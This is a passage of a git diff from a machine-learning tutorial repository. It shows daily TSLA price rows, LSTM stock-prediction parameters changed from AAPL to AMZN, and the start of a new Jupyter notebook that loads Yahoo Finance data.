-2019-03-01,306.94000244140625,307.1300048828125,291.8999938964844,294.7900085449219,294.7900085449219,22911400,TSLA -2019-03-04,298.1199951171875,299.0,282.7799987792969,285.3599853515625,285.3599853515625,17096800,TSLA -2019-03-05,282.0,284.0,270.1000061035156,276.5400085449219,276.5400085449219,18764700,TSLA -2019-03-06,276.4800109863281,281.510009765625,274.3900146484375,276.239990234375,276.239990234375,10335500,TSLA -2019-03-07,278.8399963378906,284.70001220703125,274.25,276.5899963378906,276.5899963378906,9442500,TSLA -2019-03-08,276.9100036621094,285.5899963378906,275.8900146484375,284.1400146484375,284.1400146484375,8819600,TSLA -2019-03-11,283.5199890136719,291.2799987792969,280.5,290.9200134277344,290.9200134277344,7392300,TSLA -2019-03-12,286.489990234375,288.07000732421875,281.05999755859375,283.3599853515625,283.3599853515625,7504100,TSLA -2019-03-13,283.8999938964844,291.989990234375,282.70001220703125,288.9599914550781,288.9599914550781,6844700,TSLA -2019-03-14,292.45001220703125,295.3900146484375,288.2900085449219,289.9599914550781,289.9599914550781,7103400,TSLA -2019-03-15,283.510009765625,283.7200012207031,274.3999938964844,275.42999267578125,275.42999267578125,14785500,TSLA -2019-03-18,276.0,278.04998779296875,267.29998779296875,269.489990234375,269.489990234375,10281000,TSLA -2019-03-19,267.5,273.29998779296875,263.4599914550781,267.4700012207031,267.4700012207031,11800600,TSLA -2019-03-20,269.69000244140625,274.9700012207031,266.29998779296875,273.6000061035156,273.6000061035156,6908200,TSLA -2019-03-21,272.6000061035156,276.45001220703125,268.45001220703125,274.0199890136719,274.0199890136719,5947100,TSLA -2019-03-22,272.5799865722656,272.79998779296875,264.0,264.5299987792969,264.5299987792969,8745600,TSLA -2019-03-25,259.7099914550781,263.17999267578125,254.4600067138672,260.4200134277344,260.4200134277344,10215000,TSLA -2019-03-26,264.44000244140625,270.260009765625,264.42999267578125,267.7699890136719,267.7699890136719,7350900,TSLA -2019-03-27,268.75,275.3699951171875,268.17999267578125,274.8299865722656,274.8299865722656,8779200,TSLA -2019-03-28,277.1600036621094,280.3299865722656,275.1000061035156,278.6199951171875,278.6199951171875,6774100,TSLA -2019-03-29,278.70001220703125,280.1600036621094,274.5,279.8599853515625,279.8599853515625,5991300,TSLA -2019-04-01,282.6199951171875,289.20001220703125,281.2799987792969,289.17999267578125,289.17999267578125,8110400,TSLA -2019-04-02,288.29998779296875,289.44000244140625,283.8800048828125,285.8800048828125,285.8800048828125,5478900,TSLA -2019-04-03,287.32000732421875,296.1700134277344,287.1700134277344,291.80999755859375,291.80999755859375,7929900,TSLA -2019-04-04,261.8900146484375,271.20001220703125,260.5899963378906,267.7799987792969,267.7799987792969,23720700,TSLA -2019-04-05,269.8599853515625,276.1000061035156,266.1099853515625,274.9599914550781,274.9599914550781,13038300,TSLA -2019-04-08,277.69000244140625,281.1600036621094,270.44000244140625,273.20001220703125,273.20001220703125,10410400,TSLA -2019-04-09,271.6499938964844,275.0,269.6099853515625,272.30999755859375,272.30999755859375,5904000,TSLA -2019-04-10,276.739990234375,278.3800048828125,272.8900146484375,276.05999755859375,276.05999755859375,7061300,TSLA -2019-04-11,268.29998779296875,270.5,265.6000061035156,268.4200134277344,268.4200134277344,9835900,TSLA -2019-04-12,270.2200012207031,271.95001220703125,266.8299865722656,267.70001220703125,267.70001220703125,6746000,TSLA -2019-04-15,268.6300048828125,268.8800048828125,258.6300048828125,266.3800048828125,266.3800048828125,10038600,TSLA -2019-04-16,265.75,275.0,264.7200012207031,273.3599853515625,273.3599853515625,7272900,TSLA -2019-04-17,274.75,274.7900085449219,268.5400085449219,271.2300109863281,271.2300109863281,5126500,TSLA -2019-04-18,271.2300109863281,274.8399963378906,269.75,273.260009765625,273.260009765625,5876300,TSLA -2019-04-22,269.0,269.67999267578125,262.4800109863281,262.75,262.75,12147100,TSLA -2019-04-23,260.1499938964844,265.6000061035156,255.75,263.8999938964844,263.8999938964844,10943900,TSLA -2019-04-24,263.8500061035156,265.32000732421875,258.0,258.6600036621094,258.6600036621094,10727500,TSLA -2019-04-25,255.0,259.0,246.07000732421875,247.6300048828125,247.6300048828125,21849400,TSLA -2019-04-26,246.5,246.67999267578125,231.1300048828125,235.13999938964844,235.13999938964844,22360700,TSLA -2019-04-29,235.86000061035156,243.97999572753906,232.1699981689453,241.47000122070312,241.47000122070312,16714500,TSLA -2019-04-30,242.05999755859375,244.2100067138672,237.0,238.69000244140625,238.69000244140625,9464600,TSLA -2019-05-01,238.85000610351562,240.0,231.5,234.00999450683594,234.00999450683594,10704400,TSLA -2019-05-02,245.52000427246094,247.1300048828125,237.72000122070312,244.10000610351562,244.10000610351562,18159300,TSLA -2019-05-03,243.86000061035156,256.6099853515625,243.49000549316406,255.02999877929688,255.02999877929688,23706800,TSLA -2019-05-06,250.02000427246094,258.3500061035156,248.5,255.33999633789062,255.33999633789062,10833900,TSLA -2019-05-07,256.79998779296875,257.2099914550781,245.10000610351562,247.05999755859375,247.05999755859375,10131400,TSLA -2019-05-08,246.94000244140625,250.60000610351562,244.1999969482422,244.83999633789062,244.83999633789062,6176400,TSLA -2019-05-09,242.0,243.67999267578125,236.94000244140625,241.97999572753906,241.97999572753906,6711400,TSLA -2019-05-10,239.75,241.99000549316406,236.02000427246094,239.52000427246094,239.52000427246094,7008300,TSLA -2019-05-13,232.00999450683594,232.47000122070312,224.5,227.00999450683594,227.00999450683594,10834800,TSLA -2019-05-14,229.3000030517578,234.5,228.0,232.30999755859375,232.30999755859375,7252400,TSLA -2019-05-15,229.32000732421875,232.44000244140625,225.25,231.9499969482422,231.9499969482422,7296000,TSLA -2019-05-16,229.49000549316406,231.0,226.5,228.3300018310547,228.3300018310547,7483300,TSLA -2019-05-17,221.9600067138672,222.24000549316406,208.9199981689453,211.02999877929688,211.02999877929688,17786700,TSLA -2019-05-20,202.8000030517578,206.0,195.25,205.36000061035156,205.36000061035156,20526200,TSLA -2019-05-21,197.75999450683594,207.39999389648438,196.0399932861328,205.0800018310547,205.0800018310547,18003900,TSLA -2019-05-22,199.10000610351562,203.94000244140625,191.77999877929688,192.72999572753906,192.72999572753906,18685200,TSLA -2019-05-23,194.33999633789062,199.47000122070312,186.22000122070312,195.49000549316406,195.49000549316406,26547100,TSLA -2019-05-24,199.8300018310547,199.97999572753906,188.75,190.6300048828125,190.6300048828125,14136600,TSLA -2019-05-28,191.1999969482422,195.0,187.85000610351562,188.6999969482422,188.6999969482422,10312900,TSLA -2019-05-29,187.10000610351562,192.38999938964844,185.0399932861328,189.86000061035156,189.86000061035156,11968600,TSLA -2019-05-30,188.75,192.25999450683594,187.02000427246094,188.22000122070312,188.22000122070312,7926500,TSLA -2019-05-31,185.10000610351562,189.9199981689453,184.10000610351562,185.16000366210938,185.16000366210938,10406700,TSLA -2019-06-03,185.50999450683594,186.67999267578125,176.99000549316406,178.97000122070312,178.97000122070312,13064400,TSLA -2019-06-04,181.10000610351562,193.97999572753906,179.61000061035156,193.60000610351562,193.60000610351562,13807500,TSLA -2019-06-05,198.67999267578125,201.27999877929688,191.85000610351562,196.58999633789062,196.58999633789062,13510800,TSLA -2019-06-06,204.44000244140625,211.0,201.8000030517578,205.9499969482422,205.9499969482422,20242200,TSLA -2019-06-07,205.0,210.83999633789062,203.5,204.5,204.5,16003500,TSLA -2019-06-10,210.25,216.94000244140625,209.00999450683594,212.8800048828125,212.8800048828125,10585000,TSLA -2019-06-11,219.13999938964844,220.89999389648438,213.5,217.10000610351562,217.10000610351562,11653500,TSLA -2019-06-12,222.9499969482422,223.3800048828125,209.0,209.25999450683594,209.25999450683594,15186200,TSLA -2019-06-13,210.3800048828125,214.89999389648438,207.50999450683594,213.91000366210938,213.91000366210938,8168300,TSLA -2019-06-14,211.25,216.64999389648438,210.39999389648438,214.9199981689453,214.9199981689453,7433400,TSLA -2019-06-17,215.47999572753906,227.0,214.27000427246094,225.02999877929688,225.02999877929688,12316800,TSLA -2019-06-18,228.72000122070312,234.74000549316406,222.55999755859375,224.74000549316406,224.74000549316406,12715800,TSLA -2019-06-19,225.11000061035156,227.77000427246094,221.05999755859375,226.42999267578125,226.42999267578125,6575100,TSLA -2019-06-20,223.0,226.89999389648438,216.35000610351562,219.6199951171875,219.6199951171875,11863500,TSLA -2019-06-21,216.22000122070312,222.17999267578125,215.5,221.86000061035156,221.86000061035156,8202100,TSLA -2019-06-24,223.24000549316406,225.86000061035156,221.02000427246094,223.63999938964844,223.63999938964844,5750800,TSLA -2019-06-25,224.38999938964844,225.33999633789062,219.49000549316406,219.75999450683594,219.75999450683594,6182100,TSLA -2019-06-26,220.30999755859375,227.22999572753906,218.10000610351562,219.27000427246094,219.27000427246094,8507200,TSLA -2019-06-27,219.4499969482422,222.89999389648438,217.35000610351562,222.83999633789062,222.83999633789062,6339700,TSLA -2019-06-28,220.99000549316406,225.1699981689453,220.8000030517578,223.4600067138672,223.4600067138672,6851400,TSLA -2019-07-01,230.2100067138672,233.10000610351562,226.27999877929688,227.1699981689453,227.1699981689453,8238000,TSLA -2019-07-02,228.88999938964844,229.14999389648438,222.22000122070312,224.5500030517578,224.5500030517578,9259000,TSLA -2019-07-03,239.38999938964844,241.57000732421875,234.50999450683594,234.89999389648438,234.89999389648438,14201100,TSLA -2019-07-05,234.57000732421875,235.4499969482422,230.8000030517578,233.10000610351562,233.10000610351562,7065700,TSLA -2019-07-08,231.24000549316406,232.25,228.66000366210938,230.33999633789062,230.33999633789062,5868900,TSLA -2019-07-09,228.97000122070312,231.0,227.27999877929688,230.05999755859375,230.05999755859375,6190800,TSLA -2019-07-10,234.14999389648438,238.94000244140625,233.13999938964844,238.9199981689453,238.9199981689453,9145700,TSLA -2019-07-11,238.13999938964844,241.5,235.8000030517578,238.60000610351562,238.60000610351562,7514400,TSLA -2019-07-12,239.75,245.3800048828125,239.7100067138672,245.0800018310547,245.0800018310547,9200500,TSLA -2019-07-15,248.0,254.4199981689453,244.86000061035156,253.5,253.5,11000100,TSLA -2019-07-16,249.3000030517578,253.52999877929688,247.92999267578125,252.3800048828125,252.3800048828125,8149000,TSLA -2019-07-17,255.6699981689453,258.30999755859375,253.35000610351562,254.86000061035156,254.86000061035156,9764700,TSLA -2019-07-18,255.0500030517578,255.75,251.88999938964844,253.5399932861328,253.5399932861328,4764500,TSLA -2019-07-19,255.69000244140625,259.9599914550781,254.6199951171875,258.17999267578125,258.17999267578125,7048400,TSLA -2019-07-22,258.75,262.1499938964844,254.19000244140625,255.67999267578125,255.67999267578125,6842400,TSLA -2019-07-23,256.7099914550781,260.4800109863281,254.5,260.1700134277344,260.1700134277344,5023100,TSLA -2019-07-24,259.1700134277344,266.07000732421875,258.1600036621094,264.8800048828125,264.8800048828125,11072800,TSLA -2019-07-25,233.5,234.5,225.5500030517578,228.82000732421875,228.82000732421875,22418300,TSLA -2019-07-26,226.9199981689453,230.25999450683594,222.25,228.0399932861328,228.0399932861328,10027700,TSLA -2019-07-29,227.08999633789062,235.94000244140625,226.02999877929688,235.77000427246094,235.77000427246094,9273300,TSLA -2019-07-30,232.89999389648438,243.36000061035156,232.17999267578125,242.25999450683594,242.25999450683594,8109000,TSLA -2019-07-31,243.0,246.67999267578125,236.64999389648438,241.61000061035156,241.61000061035156,9178200,TSLA -2019-08-01,242.64999389648438,244.50999450683594,231.77000427246094,233.85000610351562,233.85000610351562,8259500,TSLA -2019-08-02,231.35000610351562,236.27000427246094,229.22999572753906,234.33999633789062,234.33999633789062,6136500,TSLA -2019-08-05,229.60000610351562,231.3699951171875,225.77999877929688,228.32000732421875,228.32000732421875,7028300,TSLA -2019-08-06,231.8800048828125,232.5,225.75,230.75,230.75,5564200,TSLA -2019-08-07,226.5,233.57000732421875,225.8000030517578,233.4199981689453,233.4199981689453,4776500,TSLA -2019-08-08,234.4499969482422,239.8000030517578,232.64999389648438,238.3000030517578,238.3000030517578,5274300,TSLA -2019-08-09,236.0500030517578,238.9600067138672,233.80999755859375,235.00999450683594,235.00999450683594,3898200,TSLA -2019-08-12,232.99000549316406,235.77000427246094,228.75,229.00999450683594,229.00999450683594,4663900,TSLA -2019-08-13,228.80999755859375,236.0,227.5500030517578,235.0,235.0,4848100,TSLA -2019-08-14,231.2100067138672,231.5,216.69000244140625,219.6199951171875,219.6199951171875,9562600,TSLA -2019-08-15,220.86000061035156,221.55999755859375,211.5500030517578,215.63999938964844,215.63999938964844,8159600,TSLA -2019-08-16,216.66000366210938,222.24000549316406,216.02000427246094,219.94000244140625,219.94000244140625,5098500,TSLA -2019-08-19,224.2100067138672,227.8300018310547,221.6999969482422,226.8300018310547,226.8300018310547,5309600,TSLA -2019-08-20,227.6199951171875,229.08999633789062,224.5399932861328,225.86000061035156,225.86000061035156,4125200,TSLA -2019-08-21,222.00999450683594,223.22000122070312,217.60000610351562,220.8300018310547,220.8300018310547,7794300,TSLA -2019-08-22,222.8000030517578,225.39999389648438,218.22000122070312,222.14999389648438,222.14999389648438,6559000,TSLA -2019-08-23,219.97000122070312,221.1699981689453,211.0,211.39999389648438,211.39999389648438,8538600,TSLA -2019-08-26,213.60000610351562,215.02000427246094,211.5399932861328,215.0,215.0,5051900,TSLA -2019-08-27,215.74000549316406,218.8000030517578,212.02999877929688,214.0800018310547,214.0800018310547,5416200,TSLA -2019-08-28,213.69000244140625,217.25,212.30999755859375,215.58999633789062,215.58999633789062,3225500,TSLA -2019-08-29,219.0,223.39999389648438,218.0,221.7100067138672,221.7100067138672,5179500,TSLA -2019-08-30,229.14999389648438,232.44000244140625,224.2100067138672,225.61000061035156,225.61000061035156,9320600,TSLA -2019-09-03,224.0800018310547,228.9499969482422,223.16000366210938,225.00999450683594,225.00999450683594,5354100,TSLA -2019-09-04,226.88999938964844,228.4600067138672,219.2100067138672,220.67999267578125,220.67999267578125,5761000,TSLA -2019-09-05,222.5,229.8000030517578,220.85000610351562,229.5800018310547,229.5800018310547,7395300,TSLA -2019-09-06,227.1999969482422,229.63999938964844,225.1699981689453,227.4499969482422,227.4499969482422,4189400,TSLA -2019-09-09,230.0,233.75999450683594,229.22999572753906,231.7899932861328,231.7899932861328,4802700,TSLA -2019-09-10,230.8000030517578,235.5399932861328,228.94000244140625,235.5399932861328,235.5399932861328,4883700,TSLA -2019-09-11,237.3800048828125,248.1699981689453,236.0,247.10000610351562,247.10000610351562,10042800,TSLA -2019-09-12,247.6999969482422,253.5,244.39999389648438,245.8699951171875,245.8699951171875,8581200,TSLA -2019-09-13,246.9600067138672,248.4499969482422,244.8699951171875,245.1999969482422,245.1999969482422,5313100,TSLA -2019-09-16,246.0,247.42999267578125,241.1699981689453,242.80999755859375,242.80999755859375,4728100,TSLA -2019-09-17,242.47000122070312,245.60000610351562,240.3699951171875,244.7899932861328,244.7899932861328,3865400,TSLA -2019-09-18,245.0,248.1699981689453,242.3699951171875,243.49000549316406,243.49000549316406,4170200,TSLA -2019-09-19,246.0,247.94000244140625,244.83999633789062,246.60000610351562,246.60000610351562,4795800,TSLA -2019-09-20,246.49000549316406,246.9499969482422,238.16000366210938,240.6199951171875,240.6199951171875,6353000,TSLA -2019-09-23,240.0,245.17999267578125,239.22000122070312,241.22999572753906,241.22999572753906,4340200,TSLA -2019-09-24,241.52000427246094,241.99000549316406,222.61000061035156,223.2100067138672,223.2100067138672,12891500,TSLA -2019-09-25,224.55999755859375,228.97999572753906,218.36000061035156,228.6999969482422,228.6999969482422,9427100,TSLA -2019-09-26,230.66000366210938,243.30999755859375,227.39999389648438,242.55999755859375,242.55999755859375,11884500,TSLA -2019-09-27,242.1999969482422,248.7100067138672,238.72999572753906,242.1300048828125,242.1300048828125,11116400,TSLA -2019-09-30,243.0,243.97999572753906,236.11000061035156,240.8699951171875,240.8699951171875,5879800,TSLA -2019-10-01,241.5,245.9499969482422,239.1300048828125,244.69000244140625,244.69000244140625,6162600,TSLA -2019-10-02,243.2899932861328,244.64999389648438,239.42999267578125,243.1300048828125,243.1300048828125,5631400,TSLA -2019-10-03,231.86000061035156,234.47999572753906,224.27999877929688,233.02999877929688,233.02999877929688,15084500,TSLA -2019-10-04,231.61000061035156,234.77999877929688,228.07000732421875,231.42999267578125,231.42999267578125,7995000,TSLA -2019-10-07,229.8000030517578,238.55999755859375,228.5500030517578,237.72000122070312,237.72000122070312,8064200,TSLA -2019-10-08,235.8699951171875,243.94000244140625,234.5,240.0500030517578,240.0500030517578,8678200,TSLA -2019-10-09,241.32000732421875,247.3000030517578,240.64999389648438,244.52999877929688,244.52999877929688,6894400,TSLA -2019-10-10,245.27999877929688,249.27999877929688,241.5800018310547,244.74000549316406,244.74000549316406,6283300,TSLA -2019-10-11,247.14999389648438,251.0800018310547,246.80999755859375,247.88999938964844,247.88999938964844,8475400,TSLA -2019-10-14,247.89999389648438,258.54998779296875,247.1300048828125,256.9599914550781,256.9599914550781,10205000,TSLA -2019-10-15,257.70001220703125,260.0,254.1199951171875,257.8900146484375,257.8900146484375,6432800,TSLA -2019-10-16,257.3900146484375,262.1000061035156,256.9200134277344,259.75,259.75,6684100,TSLA -2019-10-17,262.5,264.7799987792969,260.1700134277344,261.9700012207031,261.9700012207031,4769300,TSLA -2019-10-18,260.70001220703125,262.79998779296875,255.10000610351562,256.95001220703125,256.95001220703125,5749800,TSLA -2019-10-21,258.3299865722656,259.5,250.17999267578125,253.5,253.5,5020300,TSLA -2019-10-22,254.32000732421875,258.3299865722656,250.85000610351562,255.5800018310547,255.5800018310547,4600800,TSLA -2019-10-23,254.5,256.1400146484375,251.35000610351562,254.67999267578125,254.67999267578125,5261100,TSLA -2019-10-24,298.3699951171875,304.92999267578125,289.20001220703125,299.67999267578125,299.67999267578125,29720900,TSLA -2019-10-25,297.7200012207031,330.0,296.1099853515625,328.1300048828125,328.1300048828125,30006100,TSLA -2019-10-28,327.5400085449219,340.8399963378906,322.6000061035156,327.7099914550781,327.7099914550781,18870300,TSLA -2019-10-29,319.989990234375,324.29998779296875,314.75,316.2200012207031,316.2200012207031,12684300,TSLA -2019-10-30,313.0,318.7900085449219,309.9700012207031,315.010009765625,315.010009765625,9641800,TSLA -2019-10-31,313.1000061035156,319.0,313.0,314.9200134277344,314.9200134277344,5067000,TSLA -2019-11-01,316.32000732421875,316.4800109863281,309.79998779296875,313.30999755859375,313.30999755859375,6383900,TSLA -2019-11-04,314.79998779296875,321.94000244140625,309.260009765625,317.4700012207031,317.4700012207031,8787000,TSLA -2019-11-05,319.6199951171875,323.510009765625,316.1199951171875,317.2200012207031,317.2200012207031,6943400,TSLA -2019-11-06,318.0,326.7200012207031,314.5,326.5799865722656,326.5799865722656,7940900,TSLA -2019-11-07,329.1400146484375,341.5,328.0199890136719,335.5400085449219,335.5400085449219,14467300,TSLA -2019-11-08,334.5,337.4599914550781,332.5,337.1400146484375,337.1400146484375,6069200,TSLA -2019-11-11,343.95001220703125,349.19000244140625,342.0,345.0899963378906,345.0899963378906,9986700,TSLA -2019-11-12,346.8999938964844,350.3699951171875,344.0400085449219,349.92999267578125,349.92999267578125,7359400,TSLA -2019-11-13,355.0,356.3299865722656,345.17999267578125,346.1099853515625,346.1099853515625,8420100,TSLA -2019-11-14,346.1099853515625,353.8399963378906,342.9100036621094,349.3500061035156,349.3500061035156,6464900,TSLA -2019-11-15,350.6400146484375,352.79998779296875,348.3599853515625,352.1700134277344,352.1700134277344,4809000,TSLA -2019-11-18,352.9200134277344,353.1499938964844,346.1000061035156,349.989990234375,349.989990234375,4400400,TSLA -2019-11-19,351.75,359.989990234375,347.79998779296875,359.5199890136719,359.5199890136719,7724800,TSLA -2019-11-20,360.0,361.20001220703125,349.57000732421875,352.2200012207031,352.2200012207031,6725100,TSLA -2019-11-21,354.510009765625,360.8399963378906,354.0,354.8299865722656,354.8299865722656,6110000,TSLA -2019-11-22,340.1600036621094,341.0,330.0,333.0400085449219,333.0400085449219,16870600,TSLA -2019-11-25,344.32000732421875,344.57000732421875,334.4599914550781,336.3399963378906,336.3399963378906,12339500,TSLA -2019-11-26,335.2699890136719,335.5,327.1000061035156,328.9200134277344,328.9200134277344,7947400,TSLA -2019-11-27,331.1199951171875,333.92999267578125,328.57000732421875,331.2900085449219,331.2900085449219,5555600,TSLA -2019-11-29,331.1099853515625,331.260009765625,327.5,329.94000244140625,329.94000244140625,2465600,TSLA -2019-12-02,329.3999938964844,336.3800048828125,328.69000244140625,334.8699951171875,334.8699951171875,6074500,TSLA -2019-12-03,332.6199951171875,337.9100036621094,332.19000244140625,336.20001220703125,336.20001220703125,6573700,TSLA -2019-12-04,337.75,337.8599853515625,332.8500061035156,333.0299987792969,333.0299987792969,5533000,TSLA -2019-12-05,332.8299865722656,334.4200134277344,327.25,330.3699951171875,330.3699951171875,3724600,TSLA -2019-12-06,335.0,338.8599853515625,334.7699890136719,335.8900146484375,335.8900146484375,7612400,TSLA -2019-12-09,336.5899963378906,344.45001220703125,335.0799865722656,339.5299987792969,339.5299987792969,9023100,TSLA -2019-12-10,339.9599914550781,350.7300109863281,339.30999755859375,348.8399963378906,348.8399963378906,8828300,TSLA -2019-12-11,351.8800048828125,357.19000244140625,351.0899963378906,352.70001220703125,352.70001220703125,6897800,TSLA -2019-12-12,354.9200134277344,362.739990234375,353.2300109863281,359.67999267578125,359.67999267578125,7763900,TSLA -2019-12-13,361.04998779296875,365.2099914550781,354.6400146484375,358.3900146484375,358.3900146484375,6570900,TSLA -2019-12-16,362.54998779296875,383.6099853515625,362.5,381.5,381.5,18174200,TSLA -2019-12-17,378.989990234375,385.5,375.8999938964844,378.989990234375,378.989990234375,8496800,TSLA -2019-12-18,380.6300048828125,395.2200012207031,380.5799865722656,393.1499938964844,393.1499938964844,14121000,TSLA -2019-12-19,397.32000732421875,406.8500061035156,396.5,404.0400085449219,404.0400085449219,18107100,TSLA -2019-12-20,410.2900085449219,413.0,400.19000244140625,405.5899963378906,405.5899963378906,14752700,TSLA -2019-12-23,411.7799987792969,422.010009765625,410.0,419.2200012207031,419.2200012207031,13319600,TSLA -2019-12-24,418.3599853515625,425.4700012207031,412.69000244140625,425.25,425.25,8054700,TSLA -2019-12-26,427.9100036621094,433.4800109863281,426.3500061035156,430.94000244140625,430.94000244140625,10633900,TSLA -2019-12-27,435.0,435.30999755859375,426.1099853515625,430.3800048828125,430.3800048828125,9945700,TSLA -2019-12-30,428.7900085449219,429.0,409.260009765625,414.70001220703125,414.70001220703125,12586400,TSLA -2019-12-31,405.0,421.2900085449219,402.0799865722656,418.3299865722656,418.3299865722656,10285700,TSLA -2020-01-02,424.5,430.70001220703125,421.7099914550781,430.260009765625,430.260009765625,9532100,TSLA -2020-01-03,440.5,454.0,436.9200134277344,443.010009765625,443.010009765625,17778500,TSLA -2020-01-06,440.4700012207031,451.55999755859375,440.0,451.5400085449219,451.5400085449219,10133000,TSLA -2020-01-07,461.3999938964844,471.6300048828125,453.3599853515625,469.05999755859375,469.05999755859375,17882100,TSLA -2020-01-08,473.70001220703125,475.80999755859375,468.2300109863281,473.05999755859375,473.05999755859375,5047524,TSLA diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493736.DESKTOP-JCAH48A.15628.1854.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493736.DESKTOP-JCAH48A.15628.1854.v2 deleted file mode 100644 index 601a63a8..00000000 Binary files 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755d9c04..c1afed3b 100644 --- a/machine-learning/stock-prediction/parameters.py +++ b/machine-learning/stock-prediction/parameters.py @@ -2,12 +2,20 @@ import time from tensorflow.keras.layers import LSTM - # Window size or the sequence length -N_STEPS = 100 +N_STEPS = 50 # Lookup step, 1 is the next day -LOOKUP_STEP = 90 - +LOOKUP_STEP = 15 + +# whether to scale feature columns & output price as well +SCALE = True +scale_str = f"sc-{int(SCALE)}" +# whether to shuffle the dataset +SHUFFLE = True +shuffle_str = f"sh-{int(SHUFFLE)}" +# whether to split the training/testing set by date +SPLIT_BY_DATE = False +split_by_date_str = f"sbd-{int(SPLIT_BY_DATE)}" # test ratio size, 0.2 is 20% TEST_SIZE = 0.2 # features to use @@ -17,24 +25,31 @@ ### model parameters -N_LAYERS = 3 +N_LAYERS = 2 # LSTM cell CELL = LSTM # 256 LSTM neurons UNITS = 256 # 40% dropout DROPOUT = 0.4 +# whether to use bidirectional RNNs +BIDIRECTIONAL = False ### training parameters -# mean squared error loss -LOSS = "mse" -OPTIMIZER = "rmsprop" +# mean absolute error loss +# LOSS = "mae" +# huber loss +LOSS = "huber_loss" +OPTIMIZER = "adam" BATCH_SIZE = 64 -EPOCHS = 300 +EPOCHS = 500 -# Apple stock market -ticker = "AAPL" +# Amazon stock market +ticker = "AMZN" ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv") -# model name to save -model_name = f"{date_now}_{ticker}-{LOSS}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}" \ No newline at end of file +# model name to save, making it as unique as possible based on parameters +model_name = f"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\ +{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}" +if BIDIRECTIONAL: + model_name += "-b" \ No newline at end of file diff --git a/machine-learning/stock-prediction/results/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256.h5 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a/machine-learning/stock-prediction/stock_prediction.ipynb b/machine-learning/stock-prediction/stock_prediction.ipynb new file mode 100644 index 00000000..776bf72f --- /dev/null +++ b/machine-learning/stock-prediction/stock_prediction.ipynb @@ -0,0 +1,557 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import tensorflow as tf\n", + "from tensorflow.keras.models import Sequential\n", + "from tensorflow.keras.layers import LSTM, Dense, Dropout, Bidirectional\n", + "from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\n", + "from sklearn import preprocessing\n", + "from sklearn.model_selection import train_test_split\n", + "from yahoo_fin import stock_info as si\n", + "from collections import deque\n", + "\n", + "import os\n", + "import numpy as np\n", + "import pandas as pd\n", + "import random" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# set seed, so we can get the same results after rerunning several times\n", + "np.random.seed(314)\n", + "tf.random.set_seed(314)\n", + "random.seed(314)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import os\n", + "import time\n", + "from tensorflow.keras.layers import LSTM\n", + "\n", + "# Window size or the sequence length\n", + "N_STEPS = 50\n", + "# Lookup step, 1 is the next day\n", + "LOOKUP_STEP = 15\n", + "\n", + "# whether to scale feature columns & output price as well\n", + "SCALE = True\n", + "scale_str = f\"sc-{int(SCALE)}\"\n", + "# whether to shuffle the dataset\n", + "SHUFFLE = True\n", + "shuffle_str = f\"sh-{int(SHUFFLE)}\"\n", + "# whether to split the training/testing set by date\n", + "SPLIT_BY_DATE = False\n", + "split_by_date_str = f\"sbd-{int(SPLIT_BY_DATE)}\"\n", + "# test ratio size, 0.2 is 20%\n", + "TEST_SIZE = 0.2\n", + "# features to use\n", + "FEATURE_COLUMNS = [\"adjclose\", \"volume\", \"open\", \"high\", \"low\"]\n", + "# date now\n", + "date_now = time.strftime(\"%Y-%m-%d\")\n", + "\n", + "### model parameters\n", + "\n", + "N_LAYERS = 2\n", + "# LSTM cell\n", + "CELL = LSTM\n", + "# 256 LSTM neurons\n", + "UNITS = 256\n", + "# 40% dropout\n", + "DROPOUT = 0.4\n", + "# whether to use bidirectional RNNs\n", + "BIDIRECTIONAL = False\n", + "\n", + "### training parameters\n", + "\n", + "# mean absolute error loss\n", + "# LOSS = \"mae\"\n", + "# huber loss\n", + "LOSS = \"huber_loss\"\n", + "OPTIMIZER = \"adam\"\n", + "BATCH_SIZE = 64\n", + "EPOCHS = 500\n", + "\n", + "# Amazon stock market\n", + "ticker = \"AMZN\"\n", + "ticker_data_filename = os.path.join(\"data\", f\"{ticker}_{date_now}.csv\")\n", + "# model name to save, making it as unique as possible based on parameters\n", + "model_name = f\"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\\\n", + "{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}\"\n", + "if BIDIRECTIONAL:\n", + " model_name += \"-b\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def shuffle_in_unison(a, b):\n", + " # shuffle two arrays in the same way\n", + " state = np.random.get_state()\n", + " np.random.shuffle(a)\n", + " np.random.set_state(state)\n", + " np.random.shuffle(b)\n", + "\n", + "\n", + "def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True,\n", + " test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):\n", + " \"\"\"\n", + " Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.\n", + " Params:\n", + " ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.\n", + " n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50\n", + " scale (bool): whether to scale prices from 0 to 1, default is True\n", + " shuffle (bool): whether to shuffle the dataset (both training & testing), default is True\n", + " lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)\n", + " split_by_date (bool): whether we split the dataset into training/testing by date, setting it \n", + " to False will split datasets in a random way\n", + " test_size (float): ratio for test data, default is 0.2 (20% testing data)\n", + " feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin\n", + " \"\"\"\n", + " # see 